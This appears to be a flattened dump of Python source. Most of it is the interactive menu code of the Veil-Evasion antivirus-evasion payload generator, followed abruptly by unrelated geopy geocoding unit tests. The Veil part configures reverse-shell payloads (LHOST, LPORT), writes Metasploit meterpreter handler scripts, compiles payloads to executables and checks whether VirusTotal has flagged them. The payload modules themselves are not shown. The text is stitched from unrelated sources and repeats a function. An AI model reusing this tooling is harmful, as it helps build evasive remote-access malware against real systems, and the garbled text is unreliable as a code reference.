if (not line):
return [(c + ' ') for c in self.commands][state]
RE_SPACE = re.compile('.*\\s+$', re.M)
if RE_SPACE.match(buffer):
line.append('')
cmd = line[0].strip()
if (cmd in self.commands):
impl = getattr(self, ('complete_%s' % cmd))
args = line[1:]
if args:
return (impl(args) + [None])[state]
return [(cmd + ' ')][state]
results = ([(c + ' ') for c in self.commands if c.startswith(cmd)] + [None])
return results[state]
|
'Complete a directory path.'
|
def _listdir(self, root):
|
res = []
for name in os.listdir(root):
path = os.path.join(root, name)
if os.path.isdir(path):
name += os.sep
res.append(name)
return res
|
'Complete a file path.'
|
def _complete_path(self, path=None):
|
if (not path):
return self._listdir('.')
(dirname, rest) = os.path.split(path)
tmp = (dirname if dirname else '.')
res = [os.path.join(dirname, p) for p in self._listdir(tmp) if p.startswith(rest)]
if ((len(res) > 1) or (not os.path.exists(path))):
return res
if os.path.isdir(path):
return [os.path.join(path, p) for p in self._listdir(path)]
return [(path + ' ')]
|
'Entry point for path completion.'
|
def complete_path(self, args):
|
if (not args):
return self._complete_path('.')
return self._complete_path(args[(-1)])
|
'Complete all options for the \'set\' command.'
|
def complete_set(self, args):
|
res = []
if hasattr(self.payload, 'required_options'):
options = [k for k in sorted(self.payload.required_options.iterkeys())]
if (args[0] != ''):
if (args[0].strip() == 'LHOST'):
res = ([commands.getoutput('/sbin/ifconfig').split('\n')[1].split()[1][5:]] + [None])
elif (args[0].strip() == 'LPORT'):
res = (['4444'] + [None])
elif (args[0].strip() == 'original_exe'):
res = self.complete_path(args)
elif args[0].strip().endswith('_source'):
res = self.complete_path(args)
else:
res = ([(o + ' ') for o in options if (o.startswith(args[0]) and (o != args[0]))] + [None])
else:
res = ([(o + ' ') for o in options] + [None])
return res
|
'Generic readline completion entry point.'
|
def complete(self, text, state):
|
buffer = readline.get_line_buffer()
line = readline.get_line_buffer().split()
if (not line):
return [(c + ' ') for c in self.commands][state]
RE_SPACE = re.compile('.*\\s+$', re.M)
if RE_SPACE.match(buffer):
line.append('')
cmd = line[0].strip()
if (cmd in self.commands):
impl = getattr(self, ('complete_%s' % cmd))
args = line[1:]
if args:
return (impl(args) + [None])[state]
return [(cmd + ' ')][state]
results = ([(c + ' ') for c in self.commands if c.startswith(cmd)] + [None])
return results[state]
|
'Crawl the module path and load up everything found into self.payloads.'
|
def LoadPayloads(self):
|
for x in xrange(1, 5):
d = dict(((path[(path.find('payloads') + 9):(-3)], imp.load_source('/'.join(path.split('/')[3:])[:(-3)], path)) for path in glob.glob(join(((settings.VEIL_EVASION_PATH + '/modules/payloads/') + ('*/' * x)), '[!_]*.py'))))
for name in d.keys():
module = d[name].Payload()
self.payloads.append((name, module))
self.payloads = sorted(self.payloads, key=(lambda x: x[0]))
|
'Prints out available payloads in a nicely formatted way.'
|
def ListPayloads(self):
|
print helpers.color('\n [*] Available Payloads:\n')
lastBase = None
x = 1
for (name, payload) in self.payloads:
parts = name.split('/')
if (lastBase and (parts[0] != lastBase)):
print ''
lastBase = parts[0]
print (' DCTB %s) DCTB %s' % (x, '{0: <24}'.format(name)))
x += 1
print ''
|
'Updates Veil by invoking git pull on the OS'
|
def UpdateVeil(self, interactive=True):
|
print '\n Updating Veil via git...\n'
updatecommand = ['git', 'pull']
updater = subprocess.Popen(updatecommand, cwd=settings.VEIL_EVASION_PATH, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(updoutput, upderr) = updater.communicate()
if interactive:
raw_input(' [>] Veil updated, press any key to continue.')
|
'Checks payload hashes in veil-output/hashes.txt vs VirusTotal'
|
def CheckVT(self, interactive=True):
|
try:
if (os.stat(settings.HASH_LIST)[6] != 0):
checkVTcommand = (('./vt-notify.rb -f ' + settings.HASH_LIST) + ' -i 0')
print helpers.color('\n [*] Checking Virus Total for payload hashes...\n')
checkVTout = Popen(checkVTcommand.split(), stdout=PIPE, cwd=(settings.VEIL_EVASION_PATH + 'tools/vt-notify/'))
found = False
for line in checkVTout.stdout:
if ('was found' in line):
(filehash, filename) = line.split()[0].split(':')
print helpers.color((' [!] File %s with hash %s found!' % (filename, filehash)), warning=True)
found = True
if (found == False):
print ' [*] No payloads found on VirusTotal!'
raw_input('\n [>] Press any key to continue...')
else:
print helpers.color('\n [!] Hash file is empty, generate a payload first!', warning=True)
raw_input('\n [>] Press any key to continue...')
except OSError as e:
print helpers.color(('\n [!] Error: hash list %s not found' % settings.HASH_LIST), warning=True)
raw_input('\n [>] Press any key to continue...')
|
'Cleans out the payload source/compiled/handler folders.'
|
def CleanPayloads(self, interactive=True):
|
if interactive:
choice = raw_input('\n [>] Are you sure you want to clean payload folders? [y/N] ')
if (choice.lower() == 'y'):
print ('\n [*] Cleaning %s' % settings.PAYLOAD_SOURCE_PATH)
os.system(('rm -f %s/*.*' % settings.PAYLOAD_SOURCE_PATH))
print (' [*] Cleaning %s' % settings.PAYLOAD_COMPILED_PATH)
os.system(('rm -f %s/*.exe' % settings.PAYLOAD_COMPILED_PATH))
print (' [*] Cleaning %s' % settings.HANDLER_PATH)
os.system(('rm -f %s/*.rc' % settings.HANDLER_PATH))
print (' [*] cleaning %s' % settings.HASH_LIST)
os.system(('rm -f %s' % settings.HASH_LIST))
os.system(('touch ' + settings.HASH_LIST))
print ' [*] cleaning ./tools/vt-notify/results.log'
os.system('rm -f ./tools/vt-notify/results.log')
choice = raw_input('\n [>] Folders cleaned, press any key to return to the main menu.')
else:
print ('\n [*] Cleaning %s' % settings.PAYLOAD_SOURCE_PATH)
os.system(('rm -f %s/*.*' % settings.PAYLOAD_SOURCE_PATH))
print (' [*] Cleaning %s' % settings.PAYLOAD_COMPILED_PATH)
os.system(('rm -f %s/*.exe' % settings.PAYLOAD_COMPILED_PATH))
print (' [*] Cleaning %s' % settings.HANDLER_PATH)
os.system(('rm -f %s/*.rc' % settings.HANDLER_PATH))
print (' [*] cleaning %s' % settings.HASH_LIST)
os.system(('rm -f %s' % settings.HASH_LIST))
os.system(('touch ' + settings.HASH_LIST))
print '\n [*] Folders cleaned\n'
|
'Print out information about a specified payload.
payload = the payload object to print information on
showTitle = whether to show the Veil title
showInfo = whether to show the payload information bit'
|
def PayloadInfo(self, payload, showTitle=True, showInfo=True):
|
if showTitle:
if (settings.TERMINAL_CLEAR != 'false'):
messages.title()
if showInfo:
payloadname = '/'.join(str(str(payload.__class__)[str(payload.__class__).find('payloads'):]).split('.')[0].split('/')[1:])
print helpers.color(' Payload information:\n')
print (' DCTB Name: DCTB DCTB ' + payloadname)
print (' DCTB Language: DCTB ' + payload.language)
print (' DCTB Rating: DCTB DCTB ' + payload.rating)
if hasattr(payload, 'shellcode'):
if self.payload.shellcode.customshellcode:
print ' DCTB Shellcode: DCTB DCTB used'
print helpers.formatLong('Description:', payload.description)
if hasattr(self.payload, 'required_options'):
self.PayloadOptions(self.payload)
|
'Manually set the payload for this object with specified options.
name = the payload to set, ex: c/meter/rev_tcp
options = dictionary of required options for the payload, ex:
options[\'customShellcode\'] = " ..."
options[\'required_options\'] = {"compile_to_exe" : ["Y", "Compile to an executable"], ...}
options[\'msfvenom\'] = ["windows/meterpreter/reverse_tcp", ["LHOST=192.168.1.1","LPORT=443"]'
|
def SetPayload(self, payloadname, options):
|
for (name, payload) in self.payloads:
if (payloadname.lower() == name.lower()):
self.payload = payload
self.payloadname = name
elif (payloadname.isdigit() and (0 < int(payloadname) <= len(self.payloads))):
x = 1
for (name, pay) in self.payloads:
if (int(payloadname) == x):
self.payload = pay
self.payloadname = name
x += 1
print (' Payload: %s\n' % helpers.color(self.payloadname))
if self.payload:
if ('customShellcode' in options):
self.payload.shellcode.setCustomShellcode(options['customShellcode'])
if ('required_options' in options):
try:
for (k, v) in options['required_options'].items():
self.payload.required_options[k] = v
except:
print helpers.color('\n [!] Internal error #4.', warning=True)
if ('msfvenom' in options):
if hasattr(self.payload, 'shellcode'):
self.payload.shellcode.SetPayload(options['msfvenom'])
else:
print helpers.color('\n [!] Internal error #3: This module does not use msfvenom!', warning=True)
sys.exit()
if (not self.ValidatePayload(self.payload)):
print helpers.color('\n [!] WARNING: Not all required options filled\n', warning=True)
self.PayloadOptions(self.payload)
print ''
sys.exit()
else:
print helpers.color(' [!] Invalid payload selected\n\n', warning=True)
self.ListPayloads()
sys.exit()
|
'Check if all required options are filled in.
Returns True if valid, False otherwise.'
|
def ValidatePayload(self, payload):
|
if hasattr(payload, 'required_options'):
for key in sorted(self.payload.required_options.iterkeys()):
if (payload.required_options[key][0] == ''):
return False
return True
|
'Calls self.payload.generate() to generate payload code.
Returns string of generated payload code.'
|
def GeneratePayload(self):
|
return self.payload.generate()
|
'Write a chunk of payload code to a specified ouput file base.
Also outputs a handler script if required from the options.
code = the source code to write
OutputBaseChoice = "payload" or user specified string
Returns the full name the source was written to.'
|
def OutputMenu(self, payload, code, showTitle=True, interactive=True, args=None):
|
OutputBaseChoice = ''
overwrite = False
if args:
OutputBaseChoice = args.o
overwrite = args.overwrite
if ((payload.extension == 'exe') or (payload.extension == 'war')):
outputFolder = settings.PAYLOAD_COMPILED_PATH
elif (hasattr(payload, 'type') and (payload.type == 'ELF')):
outputFolder = settings.PAYLOAD_COMPILED_PATH
else:
outputFolder = settings.PAYLOAD_SOURCE_PATH
if interactive:
if showTitle:
if (settings.TERMINAL_CLEAR != 'false'):
messages.title()
OutputBaseChoice = raw_input("\n [>] Please enter the base name for output files (default is 'payload'): ")
while ((OutputBaseChoice != '') and ('/' in OutputBaseChoice)):
print helpers.color(' [!] Please provide a base name, not a path, for the output base', warning=True)
OutputBaseChoice = raw_input("\n [>] Please enter the base name for output files (default is 'payload'): ")
elif ('/' in OutputBaseChoice):
print helpers.color(' [!] Please provide a base name, not a path, for the output base', warning=True)
print helpers.color(" [!] Defaulting to 'payload' for output base...", warning=True)
OutputBaseChoice = 'payload'
if (OutputBaseChoice == ''):
OutputBaseChoice = 'payload'
FinalBaseChoice = OutputBaseChoice
if (not overwrite):
fileBases = []
for (dirpath, dirnames, filenames) in os.walk(outputFolder):
fileBases.extend(list(set([x.split('.')[0] for x in filenames if (x.split('.')[0] != '')])))
break
FinalBaseChoice = OutputBaseChoice
x = 1
while (FinalBaseChoice in fileBases):
FinalBaseChoice = (OutputBaseChoice + str(x))
x += 1
if (hasattr(payload, 'type') and (payload.type == 'ELF')):
OutputFileName = ((outputFolder + FinalBaseChoice) + payload.extension)
else:
OutputFileName = (((outputFolder + FinalBaseChoice) + '.') + payload.extension)
OutputFile = open(OutputFileName, 'w')
OutputFile.write(code)
OutputFile.close()
payloadname = '/'.join(str(str(payload.__class__)[str(payload.__class__).find('payloads'):]).split('.')[0].split('/')[1:])
message = ((('\n Language: DCTB DCTB ' + helpers.color(payload.language)) + '\n Payload: DCTB DCTB ') + payloadname)
handler = ''
if hasattr(payload, 'shellcode'):
if (payload.shellcode.customshellcode != ''):
message += '\n Shellcode: DCTB DCTB custom'
else:
message += ('\n Shellcode: DCTB DCTB ' + payload.shellcode.msfvenompayload)
handler = 'use exploit/multi/handler\n'
handler += (('set PAYLOAD ' + payload.shellcode.msfvenompayload) + '\n')
p = re.compile('LHOST=(.*?) ')
parts = p.findall(payload.shellcode.msfvenomCommand)
if (len(parts) > 0):
handler += (('set LHOST ' + parts[0]) + '\n')
else:
handler += (('set LHOST ' + helpers.LHOST()) + '\n')
p = re.compile('LPORT=(.*?) ')
parts = p.findall(payload.shellcode.msfvenomCommand)
if (len(parts) > 0):
handler += (('set LPORT ' + parts[0]) + '\n')
handler += 'set ExitOnSession false\n'
handler += 'exploit -j\n'
if (len(payload.shellcode.options) > 0):
message += '\n Options: DCTB DCTB '
parts = ''
for option in payload.shellcode.options:
parts += ((' ' + option) + ' ')
message += parts.strip()
payload.shellcode.Reset()
if hasattr(payload, 'required_options'):
t = ''
for key in sorted(payload.required_options.iterkeys()):
t += ((((' ' + key) + '=') + payload.required_options[key][0]) + ' ')
message += ('\n' + helpers.formatLong('Required Options:', t.strip(), frontTab=False, spacing=24))
keys = payload.required_options.keys()
if (('LHOST' in keys) or ('RHOST' in keys)):
handler = 'use exploit/multi/handler\n'
architecture = ''
if (hasattr(payload, 'architecture') and (payload.architecture == '64')):
architecture = 'x64/'
if ('payload' in keys):
p = payload.required_options['payload'][0]
if ('rev_tcp' in p):
handler += ('set PAYLOAD windows/%smeterpreter/reverse_tcp\n' % architecture)
elif ('bind_tcp' in p):
handler += ('set PAYLOAD windows/%smeterpreter/bind_tcp\n' % architecture)
elif ('https' in p):
handler += ('set PAYLOAD windows/%smeterpreter/reverse_https\n' % architecture)
elif ('shell' in p):
handler += ('set PAYLOAD windows/%sshell_reverse_tcp\n' % architecture)
else:
pass
else:
payloadname = '/'.join(str(str(payload.__class__)[str(payload.__class__).find('payloads'):]).split('.')[0].split('/')[1:])
if ('rev_tcp' in payloadname.lower()):
handler += ('set PAYLOAD windows/%smeterpreter/reverse_tcp\n' % architecture)
elif ('bind_tcp' in payloadname.lower()):
handler += ('set PAYLOAD windows/%smeterpreter/bind_tcp\n' % architecture)
elif ('https' in payloadname.lower()):
handler += ('set PAYLOAD windows/%smeterpreter/reverse_https\n' % architecture)
elif ('http' in payloadname.lower()):
handler += ('set PAYLOAD windows/%smeterpreter/reverse_http\n' % architecture)
else:
pass
if ('LHOST' in keys):
handler += (('set LHOST ' + payload.required_options['LHOST'][0]) + '\n')
if ('RHOST' in keys):
handler += (('set RHOST ' + payload.required_options['RHOST'][0]) + '\n')
if ('LPORT' in keys):
handler += (('set LPORT ' + payload.required_options['LPORT'][0]) + '\n')
if (('LURI' in keys) and (payload.required_options['LURI'][0] != '/')):
handler += (('set LURI ' + payload.required_options['LURI'][0]) + '\n')
handler += 'set ExitOnSession false\n'
handler += 'exploit -j\n'
message += (('\n Payload File: DCTB DCTB ' + OutputFileName) + '\n')
try:
if (settings.GENERATE_HANDLER_SCRIPT.lower() == 'true'):
if (handler != ''):
handlerFileName = ((settings.HANDLER_PATH + FinalBaseChoice) + '_handler.rc')
handlerFile = open(handlerFileName, 'w')
handlerFile.write(handler)
handlerFile.close()
message += ((' Handler File: DCTB DCTB ' + handlerFileName) + '\n')
except:
print helpers.color(('\n [!] Internal error #1. Please run %s manually\n' % os.path.abspath('./config/update.py')), warning=True)
if hasattr(payload, 'notes'):
message += helpers.formatLong('Notes:', payload.notes, frontTab=False, spacing=24)
if (hasattr(self.payload, 'required_options') and (self.payload.language.lower() != 'powershell')):
if ('COMPILE_TO_EXE' in self.payload.required_options):
value = self.payload.required_options['COMPILE_TO_EXE'][0].lower()[0]
if ((value == 'y') or (value == True)):
if (args and args.pwnstaller):
supportfiles.supportingFiles(self.payload, OutputFileName, {'method': 'pwnstaller'})
elif interactive:
supportfiles.supportingFiles(self.payload, OutputFileName, {})
else:
supportfiles.supportingFiles(self.payload, OutputFileName, {'method': 'pyinstaller'})
OutputFileName = ((settings.PAYLOAD_COMPILED_PATH + FinalBaseChoice) + '.exe')
try:
CompiledHashFile = settings.HASH_LIST
HashFile = open(CompiledHashFile, 'a')
OutputFile = open(OutputFileName, 'rb')
Sha1Hasher = hashlib.sha1()
Sha1Hasher.update(OutputFile.read())
SHA1Hash = Sha1Hasher.hexdigest()
OutputFile.close()
HashFile.write((((SHA1Hash + ':') + FinalBaseChoice) + '\n'))
HashFile.close()
print message
messages.endmsg()
except:
print helpers.color(('\n [!] Internal error #2. Unable to generate output. Please run %s manually\n' % os.path.abspath('./config/update.py')), warning=True)
if interactive:
raw_input(' [>] Press any key to return to the main menu.')
print ''
self.MainMenu(showMessage=True)
return OutputFileName
|
'Main menu for interacting with a specific payload.
payload = the payload object we\'re interacting with
showTitle = whether to show the main Veil title menu
Returns the output of OutputMenu() (the full path of the source file or compiled .exe)'
|
def PayloadMenu(self, payload, showTitle=True, args=None):
|
comp = completers.PayloadCompleter(self.payloadCommands, self.payload)
readline.set_completer_delims(' DCTB \n;')
readline.parse_and_bind('tab: complete')
readline.set_completer(comp.complete)
if showTitle:
if (settings.TERMINAL_CLEAR != 'false'):
messages.title()
payloadname = '/'.join(str(str(payload.__class__)[str(payload.__class__).find('payloads'):]).split('.')[0].split('/')[1:])
print (('\n Payload: ' + helpers.color(payloadname)) + ' loaded\n')
self.PayloadInfo(payload, showTitle=False, showInfo=False)
messages.helpmsg(self.payloadCommands, showTitle=False)
choice = ''
while (choice == ''):
while True:
choice = raw_input((' [%s>>]: ' % payloadname)).strip()
if (choice != ''):
parts = choice.strip().split()
cmd = parts[0].lower()
if (cmd == 'info'):
self.PayloadInfo(payload)
choice = ''
if (cmd == 'help'):
messages.helpmsg(self.payloadCommands)
choice = ''
if ((cmd == 'main') or (cmd == 'back') or (cmd == 'home')):
return ''
if ((cmd == 'exit') or (cmd == 'end') or (cmd == 'quit')):
raise KeyboardInterrupt
if (cmd == 'update'):
self.UpdateVeil()
if (cmd == 'set'):
if (len(parts) == 1):
print helpers.color(' [!] ERROR: no value supplied\n', warning=True)
else:
option = parts[1].upper()
value = ''.join(parts[2:])
if (option == 'LHOST'):
if ('.' in value):
hostParts = value.split('.')
if (len(hostParts) > 1):
if hostParts[(-1)].isdigit():
if (not re.match('^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$', value)):
print helpers.color('\n [!] ERROR: Bad IP address specified.\n', warning=True)
else:
try:
payload.required_options[option][0] = value
print (' [i] %s => %s' % (option, value))
except KeyError:
print helpers.color('\n [!] ERROR #1: Specify LHOST value in the following screen.\n', warning=True)
except AttributeError:
print helpers.color('\n [!] ERROR #2: Specify LHOST value in the following screen.\n', warning=True)
elif helpers.isValidHostname(value):
payload.required_options[option][0] = value
print (' [i] %s => %s' % (option, value))
else:
print helpers.color('\n [!] ERROR: Bad hostname specified.\n', warning=True)
else:
print helpers.color('\n [!] ERROR: Bad IP address or hostname specified.\n', warning=True)
elif (':' in value):
try:
socket.inet_pton(socket.AF_INET6, value)
payload.required_options[option][0] = value
print (' [i] %s => %s' % (option, value))
except socket.error:
print helpers.color('\n [!] ERROR: Bad IP address or hostname specified.\n', warning=True)
value = ''
else:
print helpers.color('\n [!] ERROR: Bad IP address or hostname specified.\n', warning=True)
value = ''
elif (option == 'LPORT'):
try:
if ((int(value) <= 0) or (int(value) >= 65535)):
print helpers.color('\n [!] ERROR: Bad port number specified.\n', warning=True)
else:
try:
payload.required_options[option][0] = value
print (' [i] %s => %s' % (option, value))
except KeyError:
print helpers.color('\n [!] ERROR: Specify LPORT value in the following screen.\n', warning=True)
except AttributeError:
print helpers.color('\n [!] ERROR: Specify LPORT value in the following screen.\n', warning=True)
except ValueError:
print helpers.color('\n [!] ERROR: Bad port number specified.\n', warning=True)
else:
try:
payload.required_options[option][0] = value
print (' [*] %s => %s' % (option, value))
except:
print helpers.color(' [!] ERROR: Invalid value specified.\n', warning=True)
cmd = ''
if ((cmd == 'generate') or (cmd == 'gen') or (cmd == 'run') or (cmd == 'go') or (cmd == 'do') or (cmd == 'make')):
if self.ValidatePayload(payload):
payloadCode = payload.generate()
if (payloadCode != ''):
return self.OutputMenu(payload, payloadCode, args=args)
else:
print helpers.color('\n [!] WARNING: not all required options filled\n', warning=True)
if (cmd == 'options'):
if hasattr(self.payload, 'required_options'):
self.PayloadOptions(self.payload)
|
'Main interactive menu for payload generation.
showMessage = reset the screen and show the greeting message [default=True]
oneRun = only run generation once, returning the path to the compiled executable
used when invoking the framework from an external source'
|
def MainMenu(self, showMessage=True, args=None):
|
self.outputFileName = ''
cmd = ''
try:
while ((cmd == '') and (self.outputFileName == '')):
comp = completers.MainMenuCompleter(self.commands, self.payloads)
readline.set_completer_delims(' DCTB \n;')
readline.parse_and_bind('tab: complete')
readline.set_completer(comp.complete)
if showMessage:
if (settings.TERMINAL_CLEAR != 'false'):
messages.title()
print ' Main Menu\n'
print ((' DCTB ' + helpers.color(str(len(self.payloads)))) + ' payloads loaded\n')
messages.helpmsg(self.commands, showTitle=False)
showTitle = False
cmd = raw_input(' [menu>>]: ').strip()
if cmd.startswith('help'):
if (settings.TERMINAL_CLEAR != 'false'):
messages.title()
cmd = ''
showMessage = False
elif cmd.startswith('use'):
if (len(cmd.split()) == 1):
if (settings.TERMINAL_CLEAR != 'false'):
messages.title()
self.ListPayloads()
showMessage = False
cmd = ''
elif (len(cmd.split()) == 2):
p = cmd.split()[1]
if (p.isdigit() and (0 < int(p) <= len(self.payloads))):
x = 1
for (name, pay) in self.payloads:
if (int(p) == x):
self.payload = pay
self.payloadname = name
self.outputFileName = self.PayloadMenu(self.payload, args=args)
x += 1
else:
for (payloadName, pay) in self.payloads:
if (payloadName == p):
self.payload = pay
self.payloadname = payloadName
self.outputFileName = self.PayloadMenu(self.payload, args=args)
cmd = ''
if (settings.TERMINAL_CLEAR != 'false'):
showMessage = True
else:
cmd = ''
showMessage = False
elif cmd.startswith('update'):
self.UpdateVeil()
if (settings.TERMINAL_CLEAR != 'false'):
showMessage = True
cmd = ''
elif cmd.startswith('checkvt'):
self.CheckVT()
if (settings.TERMINAL_CLEAR != 'false'):
showMessage = True
cmd = ''
if cmd.startswith('clean'):
self.CleanPayloads()
if (settings.TERMINAL_CLEAR != 'false'):
showMessage = True
cmd = ''
elif cmd.startswith('info'):
if (len(cmd.split()) == 1):
if (settings.TERMINAL_CLEAR != 'false'):
showMessage = True
cmd = ''
elif (len(cmd.split()) == 2):
p = cmd.split()[1]
if (p.isdigit() and (0 < int(p) <= len(self.payloads))):
x = 1
for (name, pay) in self.payloads:
if (int(p) == x):
self.payload = pay
self.payloadname = name
self.PayloadInfo(self.payload)
x += 1
else:
for (payloadName, pay) in self.payloads:
if (payloadName == p):
self.payload = pay
self.payloadname = payloadName
self.PayloadInfo(self.payload)
cmd = ''
showMessage = False
else:
cmd = ''
showMessage = False
elif (cmd.startswith('list') or cmd.startswith('ls')):
if (len(cmd.split()) == 1):
if (settings.TERMINAL_CLEAR != 'false'):
messages.title()
self.ListPayloads()
cmd = ''
showMessage = False
elif (cmd.startswith('exit') or cmd.startswith('q')):
if self.oneRun:
return ''
else:
print helpers.color('\n [!] Exiting...\n', warning=True)
sys.exit()
elif (cmd.isdigit() and (0 < int(cmd) <= len(self.payloads))):
x = 1
for (name, pay) in self.payloads:
if (int(cmd) == x):
self.payload = pay
self.payloadname = name
self.outputFileName = self.PayloadMenu(self.payload, args=args)
x += 1
cmd = ''
if (settings.TERMINAL_CLEAR != 'false'):
showMessage = True
else:
cmd = ''
showMessage = False
if (not self.oneRun):
self.outputFileName = ''
return self.outputFileName
except KeyboardInterrupt:
if self.oneRun:
return ''
else:
print helpers.color('\n\n [!] Exiting...\n', warning=True)
sys.exit()
|
'Helper for equality tests on Location\'s __iter__.'
|
def _location_iter_test(self, loc, ref_address=GRAND_CENTRAL_STR, ref_longitude=GRAND_CENTRAL_COORDS_TUPLE[0], ref_latitude=GRAND_CENTRAL_COORDS_TUPLE[1]):
|
(address, (latitude, longitude)) = loc
self.assertEqual(address, ref_address)
self.assertEqual(latitude, ref_longitude)
self.assertEqual(longitude, ref_latitude)
|
'Helper for equality tests of Location\'s properties'
|
def _location_properties_test(self, loc, raw=None):
|
self.assertEqual(loc.address, GRAND_CENTRAL_STR)
self.assertEqual(loc.latitude, GRAND_CENTRAL_COORDS_TUPLE[0])
self.assertEqual(loc.longitude, GRAND_CENTRAL_COORDS_TUPLE[1])
self.assertEqual(loc.altitude, GRAND_CENTRAL_COORDS_TUPLE[2])
if (raw is not None):
self.assertEqual(loc.raw, raw)
|
'Location with string point'
|
def test_location_init(self):
|
loc = Location(GRAND_CENTRAL_STR, GRAND_CENTRAL_COORDS_STR)
self._location_iter_test(loc)
self.assertEqual(loc.point, GRAND_CENTRAL_POINT)
|
'Location with Point'
|
def test_location_point(self):
|
loc = Location(GRAND_CENTRAL_STR, GRAND_CENTRAL_POINT)
self._location_iter_test(loc)
self.assertEqual(loc.point, GRAND_CENTRAL_POINT)
|
'Location with None point'
|
def test_location_none(self):
|
loc = Location(GRAND_CENTRAL_STR, None)
self._location_iter_test(loc, GRAND_CENTRAL_STR, None, None)
self.assertEqual(loc.point, None)
|
'Location with iterable point'
|
def test_location_iter(self):
|
loc = Location(GRAND_CENTRAL_STR, GRAND_CENTRAL_COORDS_TUPLE)
self._location_iter_test(loc)
self.assertEqual(loc.point, GRAND_CENTRAL_POINT)
|
'Location invalid point TypeError'
|
def test_location_typeerror(self):
|
with self.assertRaises(TypeError):
Location(GRAND_CENTRAL_STR, 1)
|
'Location array access'
|
def test_location_array_access(self):
|
loc = Location(GRAND_CENTRAL_STR, GRAND_CENTRAL_COORDS_TUPLE)
self.assertEqual(loc[0], GRAND_CENTRAL_STR)
self.assertEqual(loc[1][0], GRAND_CENTRAL_COORDS_TUPLE[0])
self.assertEqual(loc[1][1], GRAND_CENTRAL_COORDS_TUPLE[1])
|
'Location properties'
|
def test_location_properties(self):
|
loc = Location(GRAND_CENTRAL_STR, GRAND_CENTRAL_POINT)
self._location_properties_test(loc)
|
'Location.raw'
|
def test_location_raw(self):
|
loc = Location(GRAND_CENTRAL_STR, GRAND_CENTRAL_POINT, raw=GRAND_CENTRAL_RAW)
self._location_properties_test(loc, GRAND_CENTRAL_RAW)
|
'str(Location) == Location.address'
|
def test_location_string(self):
|
loc = Location(GRAND_CENTRAL_STR, GRAND_CENTRAL_POINT)
self.assertEqual(str(loc), loc.address)
|
'len(Location)'
|
def test_location_len(self):
|
loc = Location(GRAND_CENTRAL_STR, GRAND_CENTRAL_POINT)
self.assertEqual(len(loc), 2)
|
'Location.__eq__'
|
def test_location_eq(self):
|
loc1 = Location(GRAND_CENTRAL_STR, GRAND_CENTRAL_POINT)
loc2 = Location(GRAND_CENTRAL_STR, GRAND_CENTRAL_COORDS_TUPLE)
self.assertEqual(loc1, loc2)
|
'Location.__ne__'
|
def test_location_ne(self):
|
loc1 = Location(GRAND_CENTRAL_STR, GRAND_CENTRAL_POINT)
loc2 = Location(GRAND_CENTRAL_STR, None)
self.assertNotEqual(loc1, loc2)
|
'Location.__repr__ string and unicode'
|
def test_location_repr(self):
|
address = u('22, Ksi\\u0119dza Paw\\u0142a Po\\u015bpiecha, Centrum Po\\u0142udnie, Zabrze, wojew\xf3dztwo \\u015bl\\u0105skie, 41-800, Polska')
point = (0.0, 0.0, 0.0)
loc = Location(address, point)
if py3k:
self.assertEqual(repr(loc), ('Location(%s, %r)' % (address, point)))
else:
self.assertEqual(repr(loc), ('Location((%s, %s, %s))' % point))
|
'Starts Instance of Proxy in a TCPServer'
|
def run_proxy(self):
|
self.proxyd = SocketServer.TCPServer((self.proxy_host, self.proxy_port), Proxy).serve_forever()
print ('serving at port %s on PID %s ' % (self.proxy_port, self.proxyd.pid))
|
'LiveAddress.geocode'
|
def test_geocode(self):
|
try:
self.geocode_run({'query': '435 north michigan ave, chicago il 60611 usa'}, {'latitude': 41.89, 'longitude': (-87.624)})
except GeocoderAuthenticationFailure:
raise unittest.SkipTest('Non-geopy/geopy branches fail on this in CI due to an encrypted keys issue')
|
'LiveAddress() with scheme=http is a ConfigurationError'
|
def test_http_error(self):
|
with self.assertRaises(ConfigurationError):
LiveAddress(auth_id=env['LIVESTREETS_AUTH_ID'], auth_token=env['LIVESTREETS_AUTH_TOKEN'], scheme='http')
|
'Mapzen.geocode'
|
def test_geocode(self):
|
self.geocode_run({u'query': u'435 north michigan ave, chicago il 60611 usa'}, {u'latitude': 41.89, u'longitude': (-87.624)})
|
'Mapzen.geocode unicode'
|
def test_unicode_name(self):
|
self.geocode_run({u'query': u'san jos\xe9 california'}, {u'latitude': 37.33939, u'longitude': (-121.89496)})
|
'Mapzen.reverse string'
|
def test_reverse_string(self):
|
self.reverse_run({u'query': u'40.75376406311989, -73.98489005863667'}, {u'latitude': 40.75376406311989, u'longitude': (-73.98489005863667)})
|
'Mapzen.reverse Point'
|
def test_reverse_point(self):
|
self.reverse_run({u'query': Point(40.75376406311989, (-73.98489005863667))}, {u'latitude': 40.75376406311989, u'longitude': (-73.98489005863667)})
|
'OpenMapQuest.geocode'
|
def test_geocode(self):
|
self.geocode_run({'query': '435 north michigan ave, chicago il 60611 usa'}, {'latitude': 41.89, 'longitude': (-87.624)})
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.